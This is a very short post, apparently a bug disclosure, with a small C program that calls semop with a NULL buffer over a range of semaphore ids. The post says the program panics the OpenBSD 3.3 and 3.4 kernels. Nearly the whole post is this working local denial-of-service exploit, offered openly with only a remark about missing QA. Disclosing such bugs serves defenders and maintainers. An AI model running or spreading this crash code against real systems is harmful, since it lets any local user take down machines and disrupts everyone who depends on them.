a project lacking the basic QA and unit testing and here is the outcome:
#include <stdio.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <sys/ipc.h>
int
main()
{
int i;
for(i = 0; i < 0x40; i++)
semop(i, (struct sembuf *) NULL, 0);
}
PANIC in OpenBSD 3.3 and 3.4 is confirmed.